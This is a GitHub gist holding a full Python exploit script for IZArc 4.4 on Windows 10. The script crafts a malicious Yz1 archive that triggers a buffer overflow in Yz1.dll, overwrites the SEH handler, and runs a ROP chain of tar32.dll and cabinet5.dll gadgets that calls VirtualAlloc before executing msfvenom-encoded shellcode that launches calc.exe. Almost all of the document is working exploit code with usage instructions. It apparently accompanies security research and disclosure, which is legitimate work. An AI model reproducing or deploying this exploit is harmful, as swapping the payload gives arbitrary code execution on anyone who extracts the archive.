-
-
Save illikainen/315a420a9c28cbe882e16b8eba40b2e1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Author | |
# ====== | |
# Copyright (c) 2020, Hans Jerry Illikainen <hji@dyntopia.com> | |
# | |
# Target | |
# ====== | |
# IZArc 4.4 running on Windows 10 64bit (although both IZArc and Yz1 are | |
# 32bit-only) | |
# | |
# Usage | |
# ===== | |
# C:\python3-x86\python.exe exploit.py \ | |
# --dll C:\path\to\Yz1.dll \ | |
# --output archive.yz1 \ | |
# --align path-or-number-in-range(4) | |
# | |
# Note that the extraction path is suffixed the buffer with our payload. | |
# In order to overwrite the SEH on an appropriate DWORD boundary we have | |
# to make sure that the payload is aligned with regards to the | |
# extraction path. This is done by taking the length of the extraction | |
# path (including the last '\') modulo 4. Thus, we have a 1 in 4 shot | |
# for success if the extraction path is completely unknown. | |
# | |
# The `--align` argument can either take a path (in which case it's | |
# converted to an integer by `len(path) % 4`) or a number in the | |
# interval [0, 4). See the writeup for an explanation on this ugliness. | |
# | |
# Also, while the bugs affect the newest version of Yz1 (0.32), the | |
# breakpoints are tailored for version 0.30 because that's the version | |
# shipped with IZarc. Either download Yz1.dll 0.30 from the official | |
# site or use the DLL that comes bundled with IZArc. | |
import sys | |
from argparse import ArgumentParser | |
from contextlib import contextmanager | |
from ctypes import CDLL, c_uint, c_ushort, windll | |
from ctypes.wintypes import MAX_PATH | |
from multiprocessing import Process | |
from os import chdir, getcwd | |
from pathlib import Path | |
from shutil import rmtree | |
from struct import pack, unpack | |
from tempfile import TemporaryDirectory | |
try: | |
import pykd | |
except ImportError: | |
sys.exit( | |
"The standalone pykd module is required.\n" | |
f"Install it with '\"{sys.executable}\" -m pip install pykd'" | |
) | |
# $ msfvenom -b '\x00' -f py -v shellcode -e x86/bloxor -a x86 \ | |
# -p windows/exec CMD=calc.exe | |
shellcode = b"" | |
shellcode += b"\xe8\xff\xff\xff\xff\xc0\x5a\x6a\x05\x5b\x29" | |
shellcode += b"\xda\x6a\x43\x03\x14\x24\x5b\x52\x59\x8d\x49" | |
shellcode += b"\x02\x6a\x61\x5e\x0f\xb7\x01\x8d\x49\x02\x8b" | |
shellcode += b"\x3a\xc1\xe7\x10\xc1\xef\x10\x89\xfb\x09\xc3" | |
shellcode += b"\x21\xc7\xf7\xd7\x21\xdf\x66\x57\x66\x8f\x02" | |
shellcode += b"\x8d\x52\x02\x4e\x85\xf6\x0f\x85\xd7\xff\xff" | |
shellcode += b"\xff\x9e\x1f\x62\xf7\xe0\xf7\xe0\xf7\x80\x7e" | |
shellcode += b"\x65\x4f\xa5\x2b\x2e\x7b\x1e\xf0\x4c\xfc\xc7" | |
shellcode += b"\xae\xd3\x25\xa1\x0d\xae\xba\xe4\x9c\xd5\x63" | |
shellcode += b"\x79\x5f\x18\x23\x1a\x0f\x3a\xce\xf5\xc3\xf4" | |
shellcode += b"\x04\x16\xf6\x44\xa1\xcf\xf3\xdf\x78\x95\x44" | |
shellcode += b"\x1e\x08\x0f\x70\xec\x38\xed\xe9\xbc\x62\xe5" | |
shellcode += b"\x42\xe4\x91\x6f\xd8\x77\x3b\x4d\x72\xc6\x46" | |
shellcode += b"\x4d\x47\x9b\x76\x64\xda\xa5\x15\xa8\x14\x6f" | |
shellcode += b"\x2c\x8f\x59\x79\x5a\x04\xa2\x3f\xdf\x1b\xaa" | |
shellcode += b"\xff\xf2\x74\xaa\x50\xab\x83\xcd\x08\xc1\x43" | |
shellcode += b"\x4a\x1b\x56\x1a\x85\x91\x81\x1a\x80\xca\x09" | |
shellcode += b"\x8e\x2d\xaa\x76\xf1\x17\xa8\x4d\xf9\xb2\x19" | |
shellcode += b"\xed\x46\xb7\xcd\xa5\x26\x28\x7b\x42\x7a\xcf" | |
shellcode += b"\xff\x7d\xff\x7d\xff\x2d\x97\x1c\x1c\x73\x9b" | |
shellcode += b"\x8c\x4e\x37\xbe\x82\x1c\xd4\x74\x72\xe1\xcf" | |
shellcode += b"\x7c\x30\xa9\x0c\xaf\x70\xa5\xf0\x5e\x10\x2b" | |
shellcode += b"\x15\x90\x52\x83\x20\xec\x4a\xec\x19\x13\xcc" | |
shellcode += b"\x70\xad\x1c\xce\x32\xab\x4a\xce\x4a\x55" | |
class EventHandler(pykd.eventHandler): | |
_breakpoints = {} | |
_pending_breakpoints = {} | |
def __init__(self, breakpoints): | |
super().__init__() | |
self._pending_breakpoints = breakpoints | |
def onLoadModule(self, base, name): | |
for offset, cb in self._pending_breakpoints.get(name.lower(), []): | |
if name not in self._breakpoints: | |
self._breakpoints[name] = [] | |
self._breakpoints[name].append(pykd.setBp(base + offset, cb)) | |
return pykd.eventResult.NoChange | |
@contextmanager | |
def tempdir(): | |
cwd = getcwd() | |
with TemporaryDirectory() as tmp: | |
chdir(tmp) | |
try: | |
yield | |
finally: | |
chdir(cwd) | |
def errx(s): | |
print(f"ERROR: {s}", file=sys.stderr) | |
sys.exit(1) | |
def p8(n, order="<"): | |
return pack(f"{order}B", n) | |
def p32(n, order="<"): | |
return pack(f"{order}I", n) | |
def u16(n, order="<"): | |
return unpack(f"{order}H", n)[0] | |
def u32(n, order="<"): | |
return unpack(f"{order}I", n)[0] | |
def has_nul(n): | |
return any((n >> (8 * i)) & 0xff == 0 for i in range(4)) | |
def neg(n): | |
value = c_uint(-n).value | |
if has_nul(value): | |
errx(f"-{n} contain NUL bytes") | |
return value | |
def create_archive(dll, output, align): | |
cdll = CDLL(str(dll)) | |
cdll.Yz1GetVersion.restype = c_ushort | |
if cdll.Yz1GetVersion() != 30: | |
errx("breakpoints are tailored for yz1 version 30") | |
# fmt: off | |
gadgets = [ | |
#################################### | |
# SEH overwrite | |
#################################### | |
p8(0xff) * (2052 - MAX_PATH - align), | |
# [00] tar32.dll | |
# | |
# add esp, 0x139c | |
# ret | |
p32(0x10015344) * int(MAX_PATH / 4), | |
p32(0xffffffff) * 250, | |
#################################### | |
# VirtualAlloc() flProtect | |
#################################### | |
# [01] cabinet5.dll | |
# | |
# ret | |
p32(0x7e0c15e5) * 100, | |
# [02] tar32.dll | |
# | |
# pop eax | |
# ret | |
p32(0x10033825), | |
p32(neg(0x40)), | |
# [03] cabinet5.dll | |
# | |
# neg eax | |
# ret | |
p32(0x7e0c6a07), | |
# [04] tar32.dll | |
# | |
# mov dword ptr [ebp + 8], eax | |
# pop ecx ;; noise | |
# mov eax, 0x10029e04 ;; noise | |
# ret | |
p32(0x10029dfa), | |
p32(0xffffffff), | |
# [05] tar32.dll | |
# | |
# dec ebp | |
# or al, 0x75 ;; noise | |
# ret | |
p32(0x1003def6) * 4, | |
#################################### | |
# VirtualAlloc() flAllocationType | |
#################################### | |
# [06] tar32.dll | |
# | |
# pop eax | |
# ret | |
p32(0x10033825), | |
p32(neg(0x1000 - 1)), | |
# [07] cabinet5.dll | |
# | |
# dec eax | |
# ret | |
p32(0x7e0c16d8), | |
# [08] cabinet5.dll | |
# | |
# neg eax | |
# ret | |
p32(0x7e0c6a07), | |
# [09] tar32.dll | |
# | |
# mov dword ptr [ebp + 8], eax | |
# pop ecx ;; noise | |
# mov eax, 0x10029e04 ;; noise | |
# ret | |
p32(0x10029dfa), | |
p32(0xffffffff), | |
# [10] tar32.dll | |
# | |
# dec ebp | |
# or al, 0x75 ;; noise | |
# ret | |
p32(0x1003def6) * 4, | |
#################################### | |
# VirtualAlloc() dwSize | |
#################################### | |
# [11] tar32.dll | |
# | |
# push 1 | |
# pop eax | |
# ret | |
p32(0x10033823), | |
# [12] tar32.dll | |
# | |
# mov dword ptr [ebp + 8], eax | |
# pop ecx ;; noise | |
# mov eax, 0x10029e04 ;; noise | |
# ret | |
p32(0x10029dfa), | |
p32(0xffffffff), | |
# [13] tar32.dll | |
# | |
# dec ebp | |
# or al, 0x75 ;; noise | |
# ret | |
p32(0x1003def6) * 4, | |
#################################### | |
# VirtualAlloc() lpAddress | |
#################################### | |
# [14] tar32.dll | |
# | |
# push esp | |
# add eax, 0x20 | |
# pop ebx | |
# ret | |
p32(0x10031fed), | |
# [15] tar32.dll | |
# | |
# mov eax, ebx | |
# pop esi ;; noise | |
# pop ebx ;; noise | |
# ret | |
p32(0x1002f8ec), | |
p32(0xffffffff), | |
p32(0xffffffff), | |
# [16] tar32.dll | |
# | |
# add eax, 0x20 | |
# pop ebx ;; noise | |
# ret | |
*[ | |
p32(0x10031fee), | |
p32(0xffffffff), | |
] * 4, | |
# [17] tar32.dll | |
# | |
# mov dword ptr [ebp + 8], eax | |
# pop ecx ;; noise | |
# mov eax, 0x10029e04 ;; noise | |
# ret | |
p32(0x10029dfa), | |
p32(0xffffffff), | |
# [18] tar32.dll | |
# | |
# dec ebp | |
# or al, 0x75 ;; noise | |
# ret | |
p32(0x1003def6) * 4, | |
#################################### | |
# VirtualAlloc() return address | |
#################################### | |
# [19] tar32.dll | |
# | |
# push esp | |
# add eax, 0x20 ;; noise | |
# pop ebx | |
# ret | |
p32(0x10031fed), | |
# [20] tar32.dll | |
# | |
# mov eax, ebx | |
# pop esi ;; noise | |
# pop ebx ;; noise | |
# ret | |
p32(0x1002f8ec), | |
p32(0xffffffff), | |
p32(0xffffffff), | |
# [21] tar32.dll | |
# | |
# add eax, 0x20 | |
# pop ebx ;; noise | |
# ret | |
*[ | |
p32(0x10031fee), | |
p32(0xffffffff), | |
] * 4, | |
# [22] tar32.dll | |
# | |
# mov dword ptr [ebp + 8], eax | |
# pop ecx ;; noise | |
# mov eax, 0x10029e04 ;; noise | |
# ret | |
p32(0x10029dfa), | |
p32(0xffffffff), | |
# [23] tar32.dll | |
# | |
# dec ebp | |
# or al, 0x75 ;; noise | |
# ret | |
p32(0x1003def6) * 4, | |
#################################### | |
# VirtualAlloc() IAT in tar32.dll | |
#################################### | |
# [24] tar32.dll | |
# | |
# pop eax ;; IAT slot for VirtualAlloc() | |
# ret | |
p32(0x10033825), | |
p32(0x100411a0), | |
# [25] tar32.dll | |
# | |
# mov eax, dword ptr [eax] | |
# ret | |
p32(0x100297ce), | |
# [26] tar32.dll | |
# | |
# mov dword ptr [ebp + 8], eax | |
# pop ecx ;; noise | |
# mov eax, 0x10029e04 ;; noise | |
# ret | |
p32(0x10029dfa), | |
p32(0xffffffff), | |
# [27] tar32.dll | |
# | |
# inc ebp | |
# or al, 3 ;; noise | |
# ret | |
p32(0x1003b3ba) * 4, | |
#################################### | |
# VirtualAlloc() -> shellcode | |
#################################### | |
# [28] tar32.dll | |
# | |
# mov esp, ebp | |
# pop ebp | |
# ret | |
p32(0x1002e9e0), | |
p32(0x90909090) * 5, | |
shellcode, | |
p32(0x90909090) * 200, | |
] | |
# fmt: on | |
with open("A" * 0x10, "wb") as f: | |
f.write(b"".join(gadgets)) | |
# The contents of the files will be interpreted as a filename, so we | |
# need a NUL to prevent an OOB read. | |
with open("B" * 0x10, "wb") as f: | |
f.write(p8(0x0)) | |
# fmt: off | |
cmd = [ | |
"c", # create | |
"-i2", # silent mode | |
"-r0", # non-recursive search | |
"-x0", # don't archive full paths | |
f"\"{output}\"", | |
"*", | |
] | |
# fmt: on | |
rv = cdll.Yz1(None, " ".join(cmd).encode(), None, 0) | |
if rv: | |
errx(f"yz1 failed with {rv}") | |
rewrite_header(output) | |
def rewrite_header(output): | |
""" | |
Rewrite the size of the archive filenames in the header. | |
""" | |
with output.open("rb+") as f: | |
f.seek(4 * 3) | |
size = u32(f.peek(4)[:4], ">") | |
size += sum(x.stat().st_size for x in Path().iterdir()) | |
f.write(p32(size, ">")) | |
def rewrite_filename(): | |
""" | |
Overwrite the terminating NUL-byte in the first filename. | |
This effectively concatenates the first two filenames. | |
""" | |
this = pykd.reg("ecx") | |
buf = pykd.ptrPtr(this + 1036) | |
buf_size = pykd.ptrDWord(this + 1040) | |
files = list(Path().iterdir()) | |
files_hdr = len(files) * 4 * 2 | |
files_len = files_hdr + sum(len(x.name) + 1 for x in files) | |
if files_len == buf_size: | |
names = pykd.loadBytes(buf + files_hdr, buf_size - files_hdr) | |
for i, byte in enumerate(names): | |
if byte == 0: | |
pykd.writeBytes(buf + files_hdr + i, [0x41]) | |
break | |
def get_image_base(dll): | |
with dll.open("rb") as f: | |
f.seek(0x3c) | |
f.seek(u16(f.read(2)) + 0x34) | |
return u32(f.read(4)) | |
def run_pykd(py, dll, output, align): | |
# fmt: off | |
cmd = [ | |
sys.executable, | |
py, | |
f"--dll=\"{dll}\"", | |
f"--output=\"{output}\"", | |
f"--align=\"{align}\"", | |
] | |
# fmt: on | |
base = get_image_base(dll) | |
breakpoints = {"yz1": [(0x10011270 - base, rewrite_filename)]} | |
pykd.initialize() | |
pykd.handler = EventHandler(breakpoints) | |
pykd.startProcess(" ".join(str(x) for x in cmd)) | |
pykd.go() | |
def abspath(path): | |
return Path(path).absolute() | |
def parse_args(): | |
ap = ArgumentParser() | |
ap.add_argument( | |
"--dll", | |
type=abspath, | |
required=True, | |
help="yz1 dll to use for archive creation", | |
) | |
ap.add_argument( | |
"--output", type=abspath, required=True, help="output file" | |
) | |
ap.add_argument( | |
"--align", help="alignment for the prepended extraction path" | |
) | |
ap.add_argument( | |
"--overwrite", action="store_true", help="overwrite output file" | |
) | |
args = ap.parse_args() | |
if not args.dll.is_file(): | |
errx(f"{args.dll} is not a file") | |
if args.output.exists(): | |
if not args.overwrite: | |
errx(f"{args.output} already exist") | |
print(f"removing {args.output}") | |
try: | |
if args.output.is_file(): | |
args.output.unlink() | |
else: | |
rmtree(args.output) | |
except OSError as e: | |
errx(f"could not remove {args.output}: {e.strerror}") | |
else: | |
args.output.parent.mkdir(parents=True, exist_ok=True) | |
if args.align: | |
if args.align.isnumeric(): | |
args.align = int(args.align) | |
else: | |
args.align = len(args.align.rstrip("\\").rstrip("/") + "\\") % 4 | |
else: | |
args.align = len(str(args.output.with_suffix("")) + "\\") % 4 | |
if args.align not in range(4): | |
errx(f"--align should either be a path or a digit [0, 4)") | |
return args | |
def main(): | |
if sys.maxsize != 2 ** 31 - 1: | |
errx("32bit python required") | |
args = parse_args() | |
# Yz1 doesn't seem to release its locks on files it touches until | |
# the module is unloaded. Maybe PEBKAC, but neither FreeLibrary(), | |
# pykd.killAllProcesses() nor pykd.deinitialize() seems to be enough | |
# to get rid of it. So, we let pykd/yz1 do their thing in a | |
# subprocess to avoid the tempdir cleanup from failing. Sigh. | |
if not windll.kernel32.IsDebuggerPresent(): | |
py = abspath(__file__) | |
with tempdir(): | |
p = Process( | |
target=run_pykd, args=(py, args.dll, args.output, args.align) | |
) | |
p.start() | |
p.join() | |
else: | |
create_archive(args.dll, args.output, args.align) | |
print(f"=> created: {args.output}") | |
print(f"=> extraction path alignment: {args.align}") | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment